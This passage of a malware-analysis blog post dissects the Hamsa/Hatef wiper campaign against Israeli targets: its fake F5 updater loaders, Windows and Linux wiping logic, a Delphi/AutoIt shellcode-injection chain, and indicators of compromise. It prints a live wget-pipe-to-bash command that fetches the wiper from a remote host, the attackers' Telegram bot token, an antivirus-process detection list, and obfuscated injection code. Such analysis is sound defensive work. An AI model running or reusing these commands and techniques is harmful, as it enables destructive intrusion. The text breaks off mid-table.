&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The Loader&lt;span class="hx:absolute hx:-mt-20" id="the-loader"&gt;&lt;/span&gt;
&lt;a href="#the-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;For the Windows variant, there are two known variants of ZIP files that are
delivered. Both ZIP files contain only one file, an exe named &lt;code&gt;F5UPDATER.EXE&lt;/code&gt;,
which is a .NET application that is disguised as a system update tool of F5. It
serves as the first stage loader of the attack.&lt;/p&gt;
&lt;p&gt;In both cases, the loader is implemented in C#, using the same namespace called
&lt;code&gt;SecureDeleteFiles&lt;/code&gt; and defining a class &lt;code&gt;FrmMain&lt;/code&gt;. In both cases, the form
includes a progress bar (&lt;code&gt;prgStatus&lt;/code&gt;), a picture box (&lt;code&gt;pictureBox1&lt;/code&gt;), a label
(&lt;code&gt;label1&lt;/code&gt;), and a button (&lt;code&gt;btnDeleteAllFiles&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Both files extract assembly from the resource section. The payload is written
to System32 and executed.&lt;/p&gt;
&lt;p&gt;The difference between the two archive variants is the payload in the resource.
The loader (&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;)
extracts a resource called &lt;code&gt;Hatef.exe&lt;/code&gt; which is the executable for the wiper.&lt;/p&gt;
&lt;p&gt;The second loader variant
(&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;) has two
resources. One is &lt;code&gt;Hatef.exe&lt;/code&gt;, and the other one, which is being extracted, is
a resource called &lt;code&gt;Handala.exe&lt;/code&gt; written in Delphi. The term Handala refers to a
renowned national emblem and embodiment of the Palestinian people. Prior to
that, the loader checks if the file already exists in the System32 directory.
If the file exists, it is deleted. In the following variant, the wiper Hatef is
not used.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Archive SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;Loader SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt; (&lt;code&gt;F5UPDATER.EXE&lt;/code&gt;)&lt;br&gt;&lt;code&gt;454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567&lt;/code&gt; (&lt;code&gt;Handala.exe&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ad66251d9e8792cf4963b0c97f7ab44c8b68101e36b79abc501bee1807166e8a&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt; (&lt;code&gt;F5UPDATER.EXE&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Windows Payload: Hatef Wiper&lt;span class="hx:absolute hx:-mt-20" id="windows-payload-hatef-wiper"&gt;&lt;/span&gt;
&lt;a href="#windows-payload-hatef-wiper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Windows wiper is internally identified by the Persian name &amp;ldquo;&lt;em&gt;Hatef&lt;/em&gt;&amp;rdquo;. The
wiper starts out by retrieving its current process name and checking for other
processes with the same name excluding its own process ID (with guardrails for
matching session IDs and executable paths). This step functions as a singleton
check designed to prevent multiple instances of the malware from running
simultaneously. If there is already a running instance of the wiper, it sets a
specific flag, stops further actions, and terminates prematurely.&lt;/p&gt;
&lt;p&gt;If the singleton check succeeds, the Hatef Wiper checks for Administrator
privileges. If such privileges are missing, the wiper presents a message box,
suggesting it is an updater requiring Administrator access to proceed, a tactic
likely intended to coax the user into granting elevated permissions.&lt;/p&gt;
&lt;p&gt;The program checks if command-line arguments are passed during its initiation.
If the command-line argument does not match &lt;code&gt;ConfirmDeleteFiles&lt;/code&gt;, the wiper
cunningly displays a confirmation message box asking for user affirmation
regarding a purported system update, adding another layer to its deceptive
facade. Should the user approve, or if the action is authorized via the command
line, a duplicitous message appears, falsely stating: &amp;ldquo;The system has been
successfully updated!&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Next, it spawns a new class instance named &lt;code&gt;Service&lt;/code&gt; and invokes its &lt;code&gt;Run&lt;/code&gt;
method. This is where the wiper&amp;rsquo;s core logic comes to life, establishing
multiple lists that maintain a record of directories and files spread across
various locations on the system, including the Users, Program Files, and
Windows directories.&lt;/p&gt;
&lt;p&gt;The program employs a method called &lt;code&gt;OverwriteFileBlockAndDelete&lt;/code&gt; to overwrite
files with 4096-byte blocks of random data and subsequently delete them. It
skips files that are part of the malware&amp;rsquo;s executable process or are located on
a machine named &lt;code&gt;HANDALA&lt;/code&gt;. Handala is the name of the resource and the likely
name of the developer&amp;rsquo;s machine. If a file cannot be overwritten due to an
error, its path is earmarked in a secondary list (&lt;code&gt;filesOtherDrives&lt;/code&gt;) for later
attention.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig5.png" title="Implementation of OverwriteFileBlockAndDelete" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Implementation of OverwriteFileBlockAndDelete&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware wipes key system paths across all connected drives, focusing on
directories within &lt;code&gt;Users&lt;/code&gt;, &lt;code&gt;Program Files&lt;/code&gt;, &lt;code&gt;Program Files (x86)&lt;/code&gt;, and
&lt;code&gt;Windows&lt;/code&gt;, employing the &lt;code&gt;ProcessDirectory&lt;/code&gt; method to enumerate all files
within these paths recursively. Once files are deleted, and directories are
left empty, it uses an &lt;strong&gt;incorrectly spelled method&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;DeleteDrirectorys&lt;/code&gt;&lt;/strong&gt;,
to remove these now-obsolete directories.&lt;/p&gt;
&lt;p&gt;During its operation, the wiper sends periodic updates to a predetermined
Telegram chat, likely to inform its controllers about the ongoing progress or
notify them when the task is completed. The dispatched information comprises
the external IP address of the infected computer, the hostname, a timestamp,
and a count of &amp;ldquo;Undeleted files&amp;rdquo; within critical file system locations such as
the Windows directory and Program Files directories. This count is formatted to
show the number of files that the malware has not managed to delete up to that
point. This communication strategy serves as a means of real-time reporting on
malicious activities, offering the attackers updates and insights into the
efficacy of their attack.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig6.png" title="Analysis of Hatef Wiper" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of Hatef Wiper&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://analyze.intezer.com/files/64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c?utm_campaign=research-blog&amp;amp;utm_content=stealth-wiper-israeli-infrastructure&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Analysis&lt;/a&gt;
of Hatef Wiper&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Linux Payload: Hamsa Wiper&lt;span class="hx:absolute hx:-mt-20" id="linux-payload-hamsa-wiper"&gt;&lt;/span&gt;
&lt;a href="#linux-payload-hamsa-wiper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The analysis of the downloaded script revealed an obfuscated payload concealed
within. The payload, obscured using a series of five Base64 encoding steps, is
executed using the &lt;code&gt;eval&lt;/code&gt; command. Upon decoding, it reveals a bash script
engineered to conduct a data-wiping operation. The decoded script is in the
IOCs section. Because there are five Base64 operations on that script. We named
the wiper Hamsa (five in Arabic).&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;wget -O - https://sjc1.vultrobjects.com/f5update/update.sh | bash&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After masquerading as a routine update, the script strategically pauses for 30
minutes. This delay creates a deceptive appearance of typical system behavior
during this period. In the meantime, the script accomplishes reconnaissance to
identify the Linux distribution in use, whether it be Red Hat, Ubuntu, or
Debian. Subsequently, it quietly installs necessary tools, such as &lt;code&gt;xfsprogs&lt;/code&gt;,
&lt;code&gt;wipe&lt;/code&gt;, and &lt;code&gt;parted&lt;/code&gt;, which are pivotal for later tasks involving disk
partition manipulation and the secure erasure of data.&lt;/p&gt;
&lt;p&gt;Like its Windows variant, this wiper version transmits data to the same
Telegram channel. The shared information aligns with what&amp;rsquo;s sent by the Windows
variant but adds specific details, such as the system directory&amp;rsquo;s drive letter
and prepared information on disk space. The data is organized with clear
headers and separators to facilitate understanding, forming a structured log
that allows the attackers to track and assess the impact of their infiltration.&lt;/p&gt;
&lt;p&gt;Progressing with malicious intentions, the script enumerates all user accounts
with an ID number exceeding 999. It systematically eliminates these accounts
and obliterates their associated files. This is achieved by harnessing the
secure deletion capabilities of the &lt;code&gt;wipe&lt;/code&gt; command within the users&amp;rsquo; home
directories.&lt;/p&gt;
&lt;p&gt;Additionally, the script outlines a function called &lt;code&gt;remove_os_file&lt;/code&gt;. This
function is designed to delete important system files in key folders like
&lt;code&gt;/bin&lt;/code&gt;, &lt;code&gt;/sbin&lt;/code&gt;, &lt;code&gt;/usr/bin&lt;/code&gt;, and &lt;code&gt;/usr/sbin&lt;/code&gt;. Interestingly, it does not delete
the files for rebooting the system or removing files (&lt;code&gt;reboot&lt;/code&gt; and &lt;code&gt;rm&lt;/code&gt;
utilities), which hints that they might be needed for later parts of the
process.&lt;/p&gt;
&lt;p&gt;Next, the wiper checks the mounted partitions—excluding the root partition—by
unmounting them and then initializing a new GPT partition table. It generates a
new partition, conducts an integrity check via &lt;code&gt;parted&lt;/code&gt;, and invokes a part
probe to re-read the partition table. Finally, it formats the newly created
partition using the XFS file system, obliterating any data remnants on these
partitions.&lt;/p&gt;
&lt;p&gt;Upon the successful wiping of the file systems, the script once again utilizes
the &lt;code&gt;send_telegram_message&lt;/code&gt; function to report the completion of the &amp;ldquo;cleaning
process&amp;rdquo; to its operators via Telegram. Lastly, the script invokes the
&lt;code&gt;remove_os_file&lt;/code&gt; function to wipe system binaries. Then, it ensures the
system&amp;rsquo;s inability to recover by executing a &lt;code&gt;reboot&lt;/code&gt; command to restart the
compromised machine, leaving it inoperable.&lt;/p&gt;
&lt;h3&gt;Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="infrastructure"&gt;&lt;/span&gt;
&lt;a href="#infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The wiper sends reconnaissance information to a Telegram channel. In both the
Windows and the Linux variants, the &lt;em&gt;Bot ID&lt;/em&gt; and the &lt;em&gt;Channel ID&lt;/em&gt; are
identical.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Bot Id: 6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA
Channel Id: 6932028002&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Delphi Loader: Handala&lt;span class="hx:absolute hx:-mt-20" id="delphi-loader-handala"&gt;&lt;/span&gt;
&lt;a href="#delphi-loader-handala" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As previously noted, one of the loaders unpacks a Delphi second-stage loader
named &lt;strong&gt;Handala&lt;/strong&gt;. The core logic of the loader is within a function known as
&lt;strong&gt;&lt;code&gt;PixLawsuit&lt;/code&gt;&lt;/strong&gt;. The loader conceals its strings with a simple obfuscation
method that involves the use of an ADD operation.&lt;/p&gt;
&lt;p&gt;Once initiated, Handala executes an obfuscated script called &lt;code&gt;Closest&lt;/code&gt;. Its
goal is to detect any active security software that could disrupt the attack&amp;rsquo;s
progression and disable it. This is achieved by listing all active tasks and
filtering for names of processes typically associated with security
applications using the &lt;code&gt;findstr&lt;/code&gt; command.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;tasklist
findstr.exe findstr /I &amp;#34;avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe&amp;#34;
findstr /I &amp;#34;wrsa.exe&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Next, Handala concatenates the contents of files named &lt;code&gt;Bw&lt;/code&gt;, &lt;code&gt;Vessels&lt;/code&gt;, &lt;code&gt;Boy&lt;/code&gt;,
and &lt;code&gt;Conventions&lt;/code&gt; into a unified file called &lt;strong&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/strong&gt;, which is located
within a directory it creates for this purpose. Similarly, it concatenates
content from files named &lt;code&gt;Beastiality&lt;/code&gt;, &lt;code&gt;Bicycle&lt;/code&gt;, and &lt;code&gt;Employee&lt;/code&gt; into another
single file named &lt;strong&gt;&lt;code&gt;k&lt;/code&gt;&lt;/strong&gt; within the same folder. After this consolidation
process, Handala executes the &lt;code&gt;Naples.pif&lt;/code&gt; file while supplying &lt;code&gt;k&lt;/code&gt; as an
argument.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;cmd.exe 1428 cmd /c mkdir 30828
cmd.exe 792 cmd /c copy /b Bw &amp;#43; Vessels &amp;#43; Boy &amp;#43; Conventions 30828Naples.pif
cmd.exe 2788 cmd /c copy /b Beastiality &amp;#43; Bicycle &amp;#43; Employee 30828k
Naples.pif 30828Naples.pif 30828k&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The file &lt;code&gt;Naples.pif&lt;/code&gt; is a renamed AutoIt interpreter, further advancing the
attack sequence. A &lt;code&gt;.pif&lt;/code&gt; (Program Information File) extension could be a
strategic move to camouflage the file as a shortcut reminiscent of those
utilized in older Windows operating systems.&lt;/p&gt;
&lt;p&gt;The AutoIt loader itself is not a new tool; it has established a reputation for
delivering various forms of threats based on the arguments it receives. For
this particular attack, the argument fed to it is another obfuscated AutoIt
script, indicative of the layered complexity within this multifaceted cyber
threat.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;File Name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;AutoIt Interpreter&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aae989743dddc84adef90622c657e45e23386488fa79d7fe7cf0863043b8acd4&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Obfuscated AutoIt Script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;k&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In this variant, the script is obfuscated and contains redundant function calls
and meaningless strings. Each string is obfuscated through a simple encoding
process.&lt;/p&gt;
&lt;p&gt;This decoding process mirrors that of the Delphi loader, with the distinction
that it utilizes the SUB operation instead. To decode these strings, we must
first eliminate the &lt;code&gt;^&lt;/code&gt; character. Afterward, we decode by subtracting the
value of each character in the garbled string from the value of the second
parameter provided to the &lt;code&gt;STAFFING&lt;/code&gt; function.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;$testamentquartermechanicsmechanical = DllStructCreate(STAFFING(&amp;#34;107^130^125^110^100&amp;#34;,45/5) &amp;amp; BinaryLen($ProminentTechrepublicDamageSkype) &amp;amp; STAFFING(&amp;#34;93&amp;#34;,0/9), DllCall(STAFFING(&amp;#34;116^110^123^119^110^117^60^59^55^109^117^117&amp;#34;,81/9), STAFFING(&amp;#34;116^120^118&amp;#34;,16/4), STAFFING(&amp;#34;92^111^120^122^123^103^114^71^114^114^117^105&amp;#34;,24/4), STAFFING(&amp;#34;116^120^118&amp;#34;,16/4), 0, STAFFING(&amp;#34;122^113^116^115^108^100^117^121^119&amp;#34;,10/2), BinaryLen($ProminentTechrepublicDamageSkype), STAFFING(&amp;#34;100^119^111^114^100&amp;#34;,0/2), 0x00001000, STAFFING(&amp;#34;100^119^111^114^100&amp;#34;,0/2), 0x00000040)[0])&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig7.png" title="Snippet of the decoded AutoIt script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Snippet of the decoded AutoIt script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Upon execution, the script&amp;rsquo;s primary task is to inject a piece of shellcode
that implements the RC4 stream cipher. This shellcode&amp;rsquo;s purpose is singular –
to decrypt another payload.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig8.png" title="RC4 shellcode used to decrypt payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;RC4 shellcode used to decrypt payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once decrypted, it is decompressed using &lt;code&gt;RtlDecompressFragment&lt;/code&gt;, the algorithm
that is being used is LZNT1. The product name and description based on exif
information is &lt;strong&gt;FlashDevelop&lt;/strong&gt;, and we will refer to it by this name. The
purpose of FlashDevelop is to unpack and execute more shellcode into
&lt;code&gt;dialer.exe&lt;/code&gt; and &lt;code&gt;dllhost.exe&lt;/code&gt;. The code injected into &lt;code&gt;dllhost&lt;/code&gt; communicates
with a C2 server over HTTPS at &lt;code&gt;31.192.237[.]207:2515&lt;/code&gt;. The geolocation of the
IP is in Chelyabinsk, Russia. Next, the code is then injected into a Windows
Media Player Process. The executable used varies each time (&lt;code&gt;wmpshare.exe&lt;/code&gt;,
&lt;code&gt;wmpenc.exe&lt;/code&gt;, &lt;code&gt;wmlaunch.exe&lt;/code&gt; etc.).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig9.png" title="Process Hacker during the shellcode execution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process Hacker during the shellcode execution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The Handala loader initiates a complex sequence involving a series of
additional loaders, which encompass obfuscated scripts and shellcode. Although
the ultimate objective of this orchestrated execution chain remains ambiguous,
it clearly indicates a more intricate effort to compromise the target machine.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;336167b8c5cfc5cd330502e7aa515cc133656e12cbedb4b41ebbf847347b2767&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Win32 EXE (FlashDevelop)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Conclusions&lt;span class="hx:absolute hx:-mt-20" id="conclusions"&gt;&lt;/span&gt;
&lt;a href="#conclusions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Hamsa Wiper campaign represents a sophisticated and highly targeted attack
on Israeli infrastructure. Using meticulously written emails in Hebrew,
attackers have wielded advanced social engineering techniques to deliver a
multi-faceted malware package, ultimately wiping data across Windows and Linux
servers.&lt;/p&gt;
&lt;p&gt;Our analysis highlighted key components of the malware, such as the intricate
multi-stage loading process involving obfuscated scripts, the Delphi-coded
second-stage loader, and the Handala AutoIt injector. By utilizing this complex
chain, the malware bypassed traditional security measures resulting in a robust
and effective cyber attack.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;31.192.237[.]207:2515
https://sjc1.vultrobjects.com/f5update/update[.]sh
8f69c9bb80b210466b887d2b16c68600
8bdd1cb717aa2bd03c12c8b4c9df2d94&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;Filename&lt;/th&gt;
&lt;th style="text-align: left"&gt;Signed?&lt;/th&gt;
&lt;th style="text-align: left"&gt;Contained in the zip&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;F5UPDATER.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yes &lt;a href="https://www.virustotal.com/gui/search/signature%253AF5UPDATER/files"target="_blank" rel="noopener"&gt;signature:F5UPDATER&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;&lt;/td&gt;
